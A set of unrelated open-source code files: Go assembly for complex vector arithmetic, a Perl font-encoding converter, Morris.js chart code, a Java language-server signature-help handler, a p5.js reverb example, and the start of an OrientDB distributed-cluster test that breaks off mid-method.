= { 0, 0, imag(a), real(a) } SHUFPD $0, X0, X0 // X0 = { imag(a), real(a), imag(a), real(a) } MOVAPS X0, X1 SHUFPS $0x11, X1, X1 // X1 = { real(a), imag(a), real(a), imag(a) } XORQ AX, AX // i = 0 MOVQ DI, BX // Align on 16-byte boundary for ADDPS ANDQ $15, BX // BX = &y & 15 JZ caxy_no_trim // if BX == 0 { goto caxy_no_trim } // Trim first value in unaligned buffer XORPS X2, X2 // Clear work registers and cache-align loop XORPS X3, X3 XORPS X4, X4 MOVSD (SI)(AX*8), X3 // X3 = { imag(x[i]), real(x[i]) } MOVSHDUP_X3_X2 // X2 = { imag(x[i]), imag(x[i]) } MOVSLDUP_X3_X3 // X3 = { real(x[i]), real(x[i]) } MULPS X1, X2 // X2 = { real(a) * imag(x[i]), imag(a) * imag(x[i]) } MULPS X0, X3 // X3 = { imag(a) * real(x[i]), real(a) * real(x[i]) } // X3 = { imag(a)*real(x[i]) + real(a)*imag(x[i]), real(a)*real(x[i]) - imag(a)*imag(x[i]) } ADDSUBPS_X2_X3 MOVSD (DI)(AX*8), X4 // X3 += y[i] ADDPS X4, X3 MOVSD X3, (DI)(AX*8) // y[i] = X3 INCQ AX // i++ DECQ CX // --CX JZ caxy_end // if CX == 0 { return } caxy_no_trim: MOVAPS X0, X10 // Copy X0 and X1 for pipelineing MOVAPS X1, X11 MOVQ CX, BX ANDQ $7, CX // CX = n % 8 SHRQ $3, BX // BX = floor( n / 8 ) JZ caxy_tail // if BX == 0 { goto caxy_tail } caxy_loop: // do { // X_i = { imag(x[i]), real(x[i]), imag(x[i+1]), real(x[i+1]) } MOVUPS (SI)(AX*8), X3 MOVUPS 16(SI)(AX*8), X5 MOVUPS 32(SI)(AX*8), X7 MOVUPS 48(SI)(AX*8), X9 // X_(i-1) = { imag(x[i]), imag(x[i]), imag(x[i]+1), imag(x[i]+1) } MOVSHDUP_X3_X2 MOVSHDUP_X5_X4 MOVSHDUP_X7_X6 MOVSHDUP_X9_X8 // X_i = { real(x[i]), real(x[i]), real(x[i+1]), real(x[i+1]) } MOVSLDUP_X3_X3 MOVSLDUP_X5_X5 MOVSLDUP_X7_X7 MOVSLDUP_X9_X9 // X_i = { imag(a) * real(x[i]), real(a) * real(x[i]), // imag(a) * real(x[i+1]), real(a) * real(x[i+1]) } // X_(i-1) = { real(a) * imag(x[i]), imag(a) * imag(x[i]), // real(a) * imag(x[i+1]), imag(a) * imag(x[i+1]) } MULPS X1, X2 MULPS X0, X3 MULPS X11, X4 MULPS X10, X5 MULPS X1, X6 MULPS X0, X7 MULPS X11, X8 MULPS X10, X9 // X_i = { // imag(result[i]): imag(a)*real(x[i]) + real(a)*imag(x[i]), // real(result[i]): real(a)*real(x[i]) - imag(a)*imag(x[i]), // imag(result[i+1]): imag(a)*real(x[i+1]) + real(a)*imag(x[i+1]), // real(result[i+1]): real(a)*real(x[i+1]) - imag(a)*imag(x[i+1]), // } ADDSUBPS_X2_X3 ADDSUBPS_X4_X5 ADDSUBPS_X6_X7 ADDSUBPS_X8_X9 // X_i = { imag(result[i]) + imag(y[i]), real(result[i]) + real(y[i]), // imag(result[i+1]) + imag(y[i+1]), real(result[i+1]) + real(y[i+1]) } ADDPS (DI)(AX*8), X3 ADDPS 16(DI)(AX*8), X5 ADDPS 32(DI)(AX*8), X7 ADDPS 48(DI)(AX*8), X9 MOVUPS X3, (DI)(AX*8) // y[i:i+1] = X_i MOVUPS X5, 16(DI)(AX*8) MOVUPS X7, 32(DI)(AX*8) MOVUPS X9, 48(DI)(AX*8) ADDQ $8, AX // i += 8 DECQ BX // --BX JNZ caxy_loop // } while BX > 0 CMPQ CX, $0 // if CX == 0 { return } JE caxy_end caxy_tail: // do { MOVSD (SI)(AX*8), X3 // X3 = { imag(x[i]), real(x[i]) } MOVSHDUP_X3_X2 // X2 = { imag(x[i]), imag(x[i]) } MOVSLDUP_X3_X3 // X3 = { real(x[i]), real(x[i]) } MULPS X1, X2 // X2 = { real(a) * imag(x[i]), imag(a) * imag(x[i]) } MULPS X0, X3 // X3 = { imag(a) * real(x[i]), real(a) * real(x[i]) } // X3 = { imag(a)*real(x[i]) + real(a)*imag(x[i]), // real(a)*real(x[i]) - imag(a)*imag(x[i]) } ADDSUBPS_X2_X3 MOVSD (DI)(AX*8), X4 // X3 += y[i] ADDPS X4, X3 MOVSD X3, (DI)(AX*8) // y[i] = X3 INCQ AX // ++i LOOP caxy_tail // } while --CX > 0 caxy_end: RET
{ "pile_set_name": "Github" }
#!/usr/bin/perl # # Copyright (c) 1998 # Sergey A. Babkin. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED # WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. # # Sergey A. Babkin ([email protected], [email protected]) # # # Force the font to use the encoding as close to ISO Latin-1 as possible # # Use: # forceiso [format] <file1.t1a >file2.t1a # where format is a printf-type format used to select names for the # glyphs without standard Latin-1 names. It must expect one argument, # the character code. The default format is "_%d". %latin1=( 0, "", 1, "", 2, "", 3, "", 4, "", 5, "", 6, "", 7, "", 8, "", 9, "", 10, "", 11, "", 12, "", 13, "", 14, "", 15, "", 16, "", 17, "", 18, "", 19, "", 20, "", 21, "", 22, "", 23, "", 24, "", 25, "", 26, "", 27, "", 28, "", 29, "", 30, "", 31, "", 32, "space", 33, "exclam", 34, "quotedbl", 35, "numbersign", 36, "dollar", 37, "percent", 38, "ampersand", 39, "quoteright", 40, "parenleft", 41, "parenright", 42, "asterisk", 43, "plus", 44, "comma", 45, "hyphen", 46, "period", 47, "slash", 48, "zero", 49, "one", 50, "two", 51, "three", 52, "four", 53, "five", 54, "six", 55, "seven", 56, "eight", 57, "nine", 58, "colon", 59, "semicolon", 60, "less", 61, "equal", 62, "greater", 63, "question", 64, "at", 65, "A", 66, "B", 67, "C", 68, "D", 69, "E", 70, "F", 71, "G", 72, "H", 73, "I", 74, "J", 75, "K", 76, "L", 77, "M", 78, "N", 79, "O", 80, "P", 81, "Q", 82, "R", 83, "S", 84, "T", 85, "U", 86, "V", 87, "W", 88, "X", 89, "Y", 90, "Z", 91, "bracketleft", 92, "backslash", 93, "bracketright", 94, "asciicircum", 95, "underscore", 96, "grave", 97, "a", 98, "b", 99, "c", 100, "d", 101, "e", 102, "f", 103, "g", 104, "h", 105, "i", 106, "j", 107, "k", 108, "l", 109, "m", 110, "n", 111, "o", 112, "p", 113, "q", 114, "r", 115, "s", 116, "t", 117, "u", 118, "v", 119, "w", 120, "x", 121, "y", 122, "z", 123, "braceleft", 124, "bar", 125, "braceright", 126, "asciitilde", 127, "", 128, "", 129, "", 130, "", 131, "", 132, "", 133, "", 134, "", 135, "", 136, "", 137, "", 138, "", 139, "", 140, "", 141, "", 142, "", 143, "", 144, "", 145, "", 146, "", 147, "", 148, "", 149, "", 150, "", 151, "", 152, "", 153, "", 154, "", 155, "", 156, "", 157, "", 158, "", 159, "", 160, "", 161, "exclamdown", 162, "cent", 163, "sterling", 164, "currency", 165, "yen", 166, "brokenbar", 167, "section", 168, "dieresis", 169, "copyright", 170, "ordfeminine", 171, "guillemotleft", 172, "logicalnot", 173, "minus", 174, "registered", 175, "macron", 176, "degree", 177, "plusminus", 178, "twosuperior", 179, "threesuperior", 180, "acute", 181, "mu", 182, "paragraph", 183, "periodcentered", 184, "cedilla", 185, "onesuperior", 186, "ordmasculine", 187, "guillemotright", 188, "onequarter", 189, "onehalf", 190, "threequarters", 191, "questiondown", 192, "Agrave", 193, "Aacute", 194, "Acircumflex", 195, "Atilde", 196, "Adieresis", 197, "Aring", 198, "AE", 199, "Ccedilla", 200, "Egrave", 201, "Eacute", 202, "Ecircumflex", 203, "Edieresis", 204, "Igrave", 205, "Iacute", 206, "Icircumflex", 207, "Idieresis", 208, "Eth", 209, "Ntilde", 210, "Ograve", 211, "Oacute", 212, "Ocircumflex", 213, "Otilde", 214, "Odieresis", 215, "multiply", 216, "Oslash", 217, "Ugrave", 218, "Uacute", 219, "Ucircumflex", 220, "Udieresis", 221, "Yacute", 222, "Thorn", 223, "germandbls", 224, "agrave", 225, "aacute", 226, "acircumflex", 227, "atilde", 228, "adieresis", 229, "aring", 230, "ae", 231, "ccedilla", 232, "egrave", 233, "eacute", 234, "ecircumflex", 235, "edieresis", 236, "igrave", 237, "iacute", 238, "icircumflex", 239, "idieresis", 240, "eth", 241, "ntilde", 242, "ograve", 243, "oacute", 244, "ocircumflex", 245, "otilde", 246, "odieresis", 247, "divide", 248, "oslash", 249, "ugrave", 250, "uacute", 251, "ucircumflex", 252, "udieresis", 253, "yacute", 254, "thorn", 255, "ydieresis" ); # how to treat the unknown characters $unk = "_%d"; if($#ARGV >= 0) { $unk = $ARGV[0]; } # fill in the unnamed characters if( sprintf($unk, 0) eq sprintf($unk, 1) ) { die "The format for unnamed characters must not be a constant" } for($i=0; $i < 256; $i++) { if($latin1{$i} eq "") { $latin1{$i} = sprintf($unk, $i); } } while(<STDIN>) { print $_; if(/^\/Encoding\s+.*\s+array/) { $fontfile=1; last; } if(/^StartCharMetrics\s+/) { $fontfile=0; last; } } $ndups=0; if($fontfile) { # .t1a file while(<STDIN>) { if($_ !~ /^dup\s+(\d+)\s+\/(\S+)\s+put/) { print $_; last; } $code=$1+0; $name=$2; if($name eq ".notdef") { print $_; } else { printf("dup %d /%s put\n",$code,$latin1{$code}); if($trans{$name}) { # two or more references to the same glyph $ndups++; #printf(STDERR "forceiso: %d dups\n", $ndups); if($copies{$name} eq "") { $copies{$name} = $latin1{$code}; } else { $copies{$name} .= "|" . $latin1{$code}; } } else { $trans{$name}=$latin1{$code}; } } } while(<STDIN>) { if( /\/CharStrings\s+(\d+)\s/) { $nchars=$1+$ndups; #printf(STDERR "forceiso: %d dups %d chars\n", $ndups, $nchars); $_ =~ s|/CharStrings\s+\d+\s|/CharStrings $nchars |; print $_; last; } print $_; } while(<STDIN>) { if(/^\/(\S+)/) { $name=$1; $to=$trans{$name}; $header=$_; $body=""; if($to ne "") { $_ =~ s/^\/\S+/\/$to/; } print $_; } elsif(/endchar/) { print $_; if($copies{$name}) { for $to (split(/\|/,$copies{$name})) { $header =~ s/^\/\S+/\/$to/; print($header, $body, $_); } } } else { print $_; $body .= $_; } } } else { # .afm file while(<STDIN>) { if($_ !~ /^C\s+(\d+)(\s*;.*N\s+)(\S+)(\s*;.*)\n/) { print $_; last; } $code=$1+0; $name=$3; $part2=$2; $part4=$4; if($name eq ".notdef") { print $_; } else { printf("C %d%s%s%s\n",$code,$part2,$latin1{$code},$part4); if($copies{$name} eq "") { $copies{$name} = $latin1{$code}; } else { $copies{$name} .= "|" . $latin1{$code}; $ndups++; #printf(STDERR "forceiso: %d dups\n", $ndups); } } } while(<STDIN>) { if(/^StartKernPairs\s+(\d+)/) { last; } print $_; } $npairs=0; $kps=""; while(<STDIN>) { if(/^KPX\s+(\S+)\s+(\S+)\s+(.*)\n/) { $name1=$1; $name2=$2; $metric=$3; $cp1=$copies{$name1}; if($cp1 eq "") { $cp1=$name1; } $cp2=$copies{$name2}; if($cp2 eq "") { $cp2=$name2; } for $to1 (split(/\|/,$cp1)) { for $to2 (split(/\|/,$cp2)) { $kps .= sprintf("KPX %s %s %s\n", $to1, $to2, $metric); $npairs++; } } } else { if($npairs!=0) { printf("StartKernPairs %d\n", $npairs); printf("%s", $kps); $npairs=0; $kps=""; } print $_; } } }
{ "pile_set_name": "Github" }
class Morris.Line extends Morris.Grid # Initialise the graph. # constructor: (options) -> return new Morris.Line(options) unless (@ instanceof Morris.Line) super(options) init: -> # Some instance variables for later if @options.hideHover isnt 'always' @hover = new Morris.Hover(parent: @el) @on('hovermove', @onHoverMove) @on('hoverout', @onHoverOut) @on('gridclick', @onGridClick) # Default configuration # defaults: lineWidth: 3 pointSize: 4 lineColors: [ '#0b62a4' '#7A92A3' '#4da74d' '#afd8f8' '#edc240' '#cb4b4b' '#9440ed' ] pointStrokeWidths: [1] pointStrokeColors: ['#ffffff'] pointFillColors: [] smooth: true xLabels: 'auto' xLabelFormat: null xLabelMargin: 24 hideHover: false # Do any size-related calculations # # @private calc: -> @calcPoints() @generatePaths() # calculate series data point coordinates # # @private calcPoints: -> for row in @data row._x = @transX(row.x) row._y = for y in row.y if y? then @transY(y) else y row._ymax = Math.min [@bottom].concat(y for y in row._y when y?)... # hit test - returns the index of the row at the given x-coordinate # hitTest: (x) -> return null if @data.length == 0 # TODO better search algo for r, index in @data.slice(1) break if x < (r._x + @data[index]._x) / 2 index # click on grid event handler # # @private onGridClick: (x, y) => index = @hitTest(x) @fire 'click', index, @data[index].src, x, y # hover movement event handler # # @private onHoverMove: (x, y) => index = @hitTest(x) @displayHoverForRow(index) # hover out event handler # # @private onHoverOut: => if @options.hideHover isnt false @displayHoverForRow(null) # display a hover popup over the given row # # @private displayHoverForRow: (index) -> if index? @hover.update(@hoverContentForRow(index)...) @hilight(index) else @hover.hide() @hilight() # hover content for a point # # @private hoverContentForRow: (index) -> row = @data[index] content = "<div class='morris-hover-row-label'>#{row.label}</div>" for y, j in row.y content += """ <div class='morris-hover-point' style='color: #{@colorFor(row, j, 'label')}'> #{@options.labels[j]}: #{@yLabelFormat(y)} </div> """ if typeof @options.hoverCallback is 'function' content = @options.hoverCallback(index, @options, content, row.src) [content, row._x, row._ymax] # generate paths for series lines # # @private generatePaths: -> @paths = for i in [[email protected]] smooth = if typeof @options.smooth is "boolean" then @options.smooth else @options.ykeys[i] in @options.smooth coords = ({x: r._x, y: r._y[i]} for r in @data when r._y[i] isnt undefined) if coords.length > 1 Morris.Line.createPath coords, smooth, @bottom else null # Draws the line chart. # draw: -> @drawXAxis() if @options.axes in [true, 'both', 'x'] @drawSeries() if @options.hideHover is false @displayHoverForRow(@data.length - 1) # draw the x-axis labels # # @private drawXAxis: -> # draw x axis labels ypos = @bottom + @options.padding / 2 prevLabelMargin = null prevAngleMargin = null drawLabel = (labelText, xpos) => label = @drawXAxisLabel(@transX(xpos), ypos, labelText) textBox = label.getBBox() label.transform("r#{[email protected]}") labelBox = label.getBBox() label.transform("t0,#{labelBox.height / 2}...") if @options.xLabelAngle != 0 offset = -0.5 * textBox.width * Math.cos(@options.xLabelAngle * Math.PI / 180.0) label.transform("t#{offset},0...") # try to avoid overlaps labelBox = label.getBBox() if (not prevLabelMargin? or prevLabelMargin >= labelBox.x + labelBox.width or prevAngleMargin? and prevAngleMargin >= labelBox.x) and labelBox.x >= 0 and (labelBox.x + labelBox.width) < @el.width() if @options.xLabelAngle != 0 margin = 1.25 * @options.gridTextSize / Math.sin(@options.xLabelAngle * Math.PI / 180.0) prevAngleMargin = labelBox.x - margin prevLabelMargin = labelBox.x - @options.xLabelMargin else label.remove() if @options.parseTime if @data.length == 1 and @options.xLabels == 'auto' # where there's only one value in the series, we can't make a # sensible guess for an x labelling scheme, so just use the original # column label labels = [[@data[0].label, @data[0].x]] else labels = Morris.labelSeries(@xmin, @xmax, @width, @options.xLabels, @options.xLabelFormat) else labels = ([row.label, row.x] for row in @data) labels.reverse() for l in labels drawLabel(l[0], l[1]) # draw the data series # # @private drawSeries: -> @seriesPoints = [] for i in [@options.ykeys.length-1..0] @_drawLineFor i for i in [@options.ykeys.length-1..0] @_drawPointFor i _drawPointFor: (index) -> @seriesPoints[index] = [] for row in @data circle = null if row._y[index]? circle = @drawLinePoint(row._x, row._y[index], @colorFor(row, index, 'point'), index) @seriesPoints[index].push(circle) _drawLineFor: (index) -> path = @paths[index] if path isnt null @drawLinePath path, @colorFor(null, index, 'line'), index # create a path for a data series # # @private @createPath: (coords, smooth, bottom) -> path = "" grads = Morris.Line.gradients(coords) if smooth prevCoord = {y: null} for coord, i in coords if coord.y? if prevCoord.y? if smooth g = grads[i] lg = grads[i - 1] ix = (coord.x - prevCoord.x) / 4 x1 = prevCoord.x + ix y1 = Math.min(bottom, prevCoord.y + ix * lg) x2 = coord.x - ix y2 = Math.min(bottom, coord.y - ix * g) path += "C#{x1},#{y1},#{x2},#{y2},#{coord.x},#{coord.y}" else path += "L#{coord.x},#{coord.y}" else if not smooth or grads[i]? path += "M#{coord.x},#{coord.y}" prevCoord = coord return path # calculate a gradient at each point for a series of points # # @private @gradients: (coords) -> grad = (a, b) -> (a.y - b.y) / (a.x - b.x) for coord, i in coords if coord.y? nextCoord = coords[i + 1] or {y: null} prevCoord = coords[i - 1] or {y: null} if prevCoord.y? and nextCoord.y? grad(prevCoord, nextCoord) else if prevCoord.y? grad(prevCoord, coord) else if nextCoord.y? grad(coord, nextCoord) else null else null # @private hilight: (index) => if @prevHilight isnt null and @prevHilight isnt index for i in [[email protected]] if @seriesPoints[i][@prevHilight] @seriesPoints[i][@prevHilight].animate @pointShrinkSeries(i) if index isnt null and @prevHilight isnt index for i in [[email protected]] if @seriesPoints[i][index] @seriesPoints[i][index].animate @pointGrowSeries(i) @prevHilight = index colorFor: (row, sidx, type) -> if typeof @options.lineColors is 'function' @options.lineColors.call(@, row, sidx, type) else if type is 'point' @options.pointFillColors[sidx % @options.pointFillColors.length] || @options.lineColors[sidx % @options.lineColors.length] else @options.lineColors[sidx % @options.lineColors.length] drawXAxisLabel: (xPos, yPos, text) -> @raphael.text(xPos, yPos, text) .attr('font-size', @options.gridTextSize) .attr('font-family', @options.gridTextFamily) .attr('font-weight', @options.gridTextWeight) .attr('fill', @options.gridTextColor) drawLinePath: (path, lineColor, lineIndex) -> @raphael.path(path) .attr('stroke', lineColor) .attr('stroke-width', @lineWidthForSeries(lineIndex)) drawLinePoint: (xPos, yPos, pointColor, lineIndex) -> @raphael.circle(xPos, yPos, @pointSizeForSeries(lineIndex)) .attr('fill', pointColor) .attr('stroke-width', @pointStrokeWidthForSeries(lineIndex)) .attr('stroke', @pointStrokeColorForSeries(lineIndex)) # @private pointStrokeWidthForSeries: (index) -> @options.pointStrokeWidths[index % @options.pointStrokeWidths.length] # @private pointStrokeColorForSeries: (index) -> @options.pointStrokeColors[index % @options.pointStrokeColors.length] # @private lineWidthForSeries: (index) -> if (@options.lineWidth instanceof Array) @options.lineWidth[index % @options.lineWidth.length] else @options.lineWidth # @private pointSizeForSeries: (index) -> if (@options.pointSize instanceof Array) @options.pointSize[index % @options.pointSize.length] else @options.pointSize # @private pointGrowSeries: (index) -> Raphael.animation r: @pointSizeForSeries(index) + 3, 25, 'linear' # @private pointShrinkSeries: (index) -> Raphael.animation r: @pointSizeForSeries(index), 25, 'linear' # generate a series of label, timestamp pairs for x-axis labels # # @private Morris.labelSeries = (dmin, dmax, pxwidth, specName, xLabelFormat) -> ddensity = 200 * (dmax - dmin) / pxwidth # seconds per `margin` pixels d0 = new Date(dmin) spec = Morris.LABEL_SPECS[specName] # if the spec doesn't exist, search for the closest one in the list if spec is undefined for name in Morris.AUTO_LABEL_ORDER s = Morris.LABEL_SPECS[name] if ddensity >= s.span spec = s break # if we run out of options, use second-intervals if spec is undefined spec = Morris.LABEL_SPECS["second"] # check if there's a user-defined formatting function if xLabelFormat spec = $.extend({}, spec, {fmt: xLabelFormat}) # calculate labels d = spec.start(d0) ret = [] while (t = d.getTime()) <= dmax if t >= dmin ret.push [spec.fmt(d), t] spec.incr(d) return ret # @private minutesSpecHelper = (interval) -> span: interval * 60 * 1000 start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours()) fmt: (d) -> "#{Morris.pad2(d.getHours())}:#{Morris.pad2(d.getMinutes())}" incr: (d) -> d.setUTCMinutes(d.getUTCMinutes() + interval) # @private secondsSpecHelper = (interval) -> span: interval * 1000 start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours(), d.getMinutes()) fmt: (d) -> "#{Morris.pad2(d.getHours())}:#{Morris.pad2(d.getMinutes())}:#{Morris.pad2(d.getSeconds())}" incr: (d) -> d.setUTCSeconds(d.getUTCSeconds() + interval) Morris.LABEL_SPECS = "decade": span: 172800000000 # 10 * 365 * 24 * 60 * 60 * 1000 start: (d) -> new Date(d.getFullYear() - d.getFullYear() % 10, 0, 1) fmt: (d) -> "#{d.getFullYear()}" incr: (d) -> d.setFullYear(d.getFullYear() + 10) "year": span: 17280000000 # 365 * 24 * 60 * 60 * 1000 start: (d) -> new Date(d.getFullYear(), 0, 1) fmt: (d) -> "#{d.getFullYear()}" incr: (d) -> d.setFullYear(d.getFullYear() + 1) "month": span: 2419200000 # 28 * 24 * 60 * 60 * 1000 start: (d) -> new Date(d.getFullYear(), d.getMonth(), 1) fmt: (d) -> "#{d.getFullYear()}-#{Morris.pad2(d.getMonth() + 1)}" incr: (d) -> d.setMonth(d.getMonth() + 1) "week": span: 604800000 # 7 * 24 * 60 * 60 * 1000 start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate()) fmt: (d) -> "#{d.getFullYear()}-#{Morris.pad2(d.getMonth() + 1)}-#{Morris.pad2(d.getDate())}" incr: (d) -> d.setDate(d.getDate() + 7) "day": span: 86400000 # 24 * 60 * 60 * 1000 start: (d) -> new Date(d.getFullYear(), d.getMonth(), d.getDate()) fmt: (d) -> "#{d.getFullYear()}-#{Morris.pad2(d.getMonth() + 1)}-#{Morris.pad2(d.getDate())}" incr: (d) -> d.setDate(d.getDate() + 1) "hour": minutesSpecHelper(60) "30min": minutesSpecHelper(30) "15min": minutesSpecHelper(15) "10min": minutesSpecHelper(10) "5min": minutesSpecHelper(5) "minute": minutesSpecHelper(1) "30sec": secondsSpecHelper(30) "15sec": secondsSpecHelper(15) "10sec": secondsSpecHelper(10) "5sec": secondsSpecHelper(5) "second": secondsSpecHelper(1) Morris.AUTO_LABEL_ORDER = [ "decade", "year", "month", "week", "day", "hour", "30min", "15min", "10min", "5min", "minute", "30sec", "15sec", "10sec", "5sec", "second" ]
{ "pile_set_name": "Github" }
const { Method } = require('java-mti'); const { indexAt } = require('./document'); const { formatDoc } = require('./doc-formatter'); const { trace } = require('./logging'); const { event } = require('./analytics'); let methodsigRequestCount = 0; /** * Retrieve method signature information * * Each parsed token that is relevant to a method call is * tagged with the list of possible methods and the best matched * method. The tagged tokens include: * - the opening bracket * - each token in every argument * - each comma between the arguments * * The function locates the nearest non-ws token and checks * for any tagged method-call info. It then converts it * to the relevant vscode method signature structure for display. * * @param {import('vscode-languageserver').SignatureHelpParams} request * @param {Map<string,import('./document').JavaDocInfo>} liveParsers */ async function getSignatureHelp(request, liveParsers) { trace('getSignatureHelp'); /** @type {import('vscode-languageserver').SignatureHelp} */ let sighelp = { signatures: [], activeSignature: 0, activeParameter: 0, } const docinfo = liveParsers.get(request.textDocument.uri); if (!docinfo || !docinfo.parsed) { return sighelp; } // wait for any active edits to complete await docinfo.reparseWaiter; methodsigRequestCount += 1; if ((methodsigRequestCount === 1) || (methodsigRequestCount === 5) || ((methodsigRequestCount % 25) === 0)) { event('method-sig-requests', { methsig_req_count: methodsigRequestCount, methsig_req_partial_count: (methodsigRequestCount % 25) || 25, }); } // locate the token at the requested position const index = indexAt(request.position, docinfo.content); const token = docinfo.parsed.unit.getTokenAt(index); if (!token || !token.methodCallInfo) { trace('onSignatureHelp - no method call info'); return sighelp; } // the token has method information attached to it // - convert it to the required vscode format trace(`onSignatureHelp - ${token.methodCallInfo.methods.length} methods`); sighelp = { signatures: token.methodCallInfo.methods.map(m => { const documentation = formatDoc(`#### ${m.owner.simpleTypeName}${m instanceof Method ? `.${m.name}` : ''}()`, m.docs); const param_docs = new Map(); if (documentation) { // extract each of the @param sections (if any) for (let m, re=/@param\s+(\S+)([\d\D]+?)(?=\n\n|\n[ \t*]*@\w+|$)/g; m = re.exec(documentation.value);) { param_docs.set(m[1], m[2]); } } /** @type {import('vscode-languageserver').SignatureInformation} */ let si = { label: m.label, documentation, parameters: m.parameters.map(p => { /** @type {import('vscode-languageserver').ParameterInformation} */ let pi = { documentation: { kind: 'markdown', value: param_docs.has(p.name) ? `**${p.name}**: ${param_docs.get(p.name)}` : '', }, label: p.label } return pi; }) } return si; }), activeSignature: token.methodCallInfo.methodIdx, activeParameter: token.methodCallInfo.argIdx, } return sighelp; } exports.getSignatureHelp = getSignatureHelp;
{ "pile_set_name": "Github" }
/** * @name Reverb * @description El reverb le da profundidad y sensación de espacio a un sonido. Aquí, * estamos procesando ruido con reverb. * * <br><br><em><span class="small"> Para correr localmente este ejemplo, necesitarás la * <a href="http://p5js.org/reference/#/libraries/p5.sound">biblioteca p5.sound</a> * un archivo de audio y correr un <a href="https://github.com/processing/p5.js/wiki/Local-server">servidor local</a>.</span></em> */ let sound, reverb; function preload() { soundFormats('mp3', 'ogg'); soundFile = loadSound('assets/Damscray_DancingTiger'); // desconectar la conexión por defecto // para solor escuchar el sonido a través de reverb.process() soundFile.disconnect(); } function setup() { createCanvas(720, 100); background(0); reverb = new p5.Reverb(); // conectar el archivo de audio al reverb, con un // tiempo de reverb de 6 segundos, y una tasa de decaimiento de 0.2% reverb.process(soundFile, 6, 0.2); reverb.amp(4); // ¡súbele el volumen! } function mousePressed() { soundFile.play(); }
{ "pile_set_name": "Github" }
/* * Copyright 2015 OrientDB LTD (info--at--orientdb.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.orientechnologies.orient.server.distributed.scenariotest; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import com.orientechnologies.orient.core.db.ODatabaseRecordThreadLocal; import com.orientechnologies.orient.core.db.OrientDB; import com.orientechnologies.orient.core.db.OrientDBConfig; import com.orientechnologies.orient.core.db.document.ODatabaseDocument; import com.orientechnologies.orient.core.db.record.OIdentifiable; import com.orientechnologies.orient.core.record.impl.ODocument; import com.orientechnologies.orient.core.sql.OCommandSQL; import com.orientechnologies.orient.core.sql.query.OSQLSynchQuery; import com.orientechnologies.orient.server.distributed.ServerRun; import java.util.LinkedList; import java.util.List; import java.util.concurrent.Callable; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import org.junit.Ignore; import org.junit.Test; /** * It checks the consistency in the cluster with the following scenario: - 3 server (quorum=2) - * network fault on server3 - 5 threads for each running server write 100 records - writes on * server1 and server2 succeeds, writes on server3 are redirected - restart server3 - check * consistency - changing quorum (quorum=3) - network fault on server3 - writes on server1 and * server2 don't succeed - restart server3 - 5 threads for each running server write 100 records - * check consistency * * @author Gabriele Ponzi * @email <gabriele.ponzi--at--gmail.com> */ public class ShutdownAndRestartNodeScenarioIT extends AbstractScenarioTest { @Test @Ignore public void test() throws Exception { init(SERVERS); prepare(false); execute(); } @Override public void executeTest() throws Exception { try { TestQuorum2 tq2 = new TestQuorum2(serverInstance); // Connection to dbServer3 TestQuorum3 tq3 = new TestQuorum3(serverInstance); // Connection to dbServer1 ExecutorService exec = Executors.newSingleThreadExecutor(); Future currentFuture = null; /* * Test with quorum = 2 */ try { currentFuture = exec.submit(tq2); currentFuture.get(); } catch (Exception e) { e.printStackTrace(); fail(); } /* * Test with quorum = 3 */ try { currentFuture = exec.submit(tq3); currentFuture.get(); } catch (Exception e) { e.printStackTrace(); fail(); } } catch (Exception e) { e.printStackTrace(); } } private class TestQuorum2 implements Callable<Void> { private final String databaseUrlServer3; private List<ServerRun> serverInstances; private List<ServerRun> executeWritesOnServers; private int initialCount = 0; public TestQuorum2(List<ServerRun> serverInstances) { this.serverInstances = serverInstances; this.executeWritesOnServers = new LinkedList<ServerRun>(); this.executeWritesOnServers.addAll(this.serverInstances); this.databaseUrlServer3 = getRemoteDatabaseURL(serverInstances.get(2)); } @Override public Void call() throws Exception { List<ODocument> result = null; OrientDB orientDB = new OrientDB( "remote:" + serverInstances.get(2).getBinaryProtocolAddress() + "/", OrientDBConfig.defaultConfig()); final ODatabaseDocument dbServer3 = orientDB.open(getDatabaseName(), "admin", "admin"); try { /* * Test with quorum = 2 */ banner("Test with quorum = 2"); // network fault on server3 System.out.println("Network fault on server3.\n"); simulateServerFault(this.serverInstances.get(SERVERS - 1), "net-fault"); assertFalse(serverInstance.get(2).isActive()); // trying write on server3, writes must be served from the first available node try { dbServer3.activateOnCurrentThread(); new ODocument("Person").fields("name", "Joe", "surname", "Black").save(); this.initialCount++; result = dbServer3.query(new OSQLSynchQuery<OIdentifiable>("select count(*) from Person")); assertEquals(1, result.size()); assertEquals(1, ((Number) result.get(0).field("count")).intValue()); } catch (Exception e) { e.printStackTrace(); fail(e.getMessage()); } // writes on server1 and server2 ODatabaseRecordThreadLocal.instance().set(null); this.executeWritesOnServers.remove(2); executeMultipleWrites(this.executeWritesOnServers, "plocal"); // restarting server3 serverInstance .get(2) .startServer(getDistributedServerConfiguration(serverInstance.get(SERVERS - 1))); System.out.println("Server 3 restarted."); assertTrue(serverInstance.get(2).isActive()); // check consistency dbServer3.activateOnCurrentThread(); dbServer3.getMetadata().getSchema().reload(); result = dbServer3.query(new OSQLSynchQuery<OIdentifiable>("select count(*) from Person")); assertEquals(1, result.size()); assertEquals(1001, ((Number) result.get(0).field("count")).intValue()); checkWritesAboveCluster(serverInstance, executeWritesOnServers); } catch (Exception e) { e.printStackTrace(); 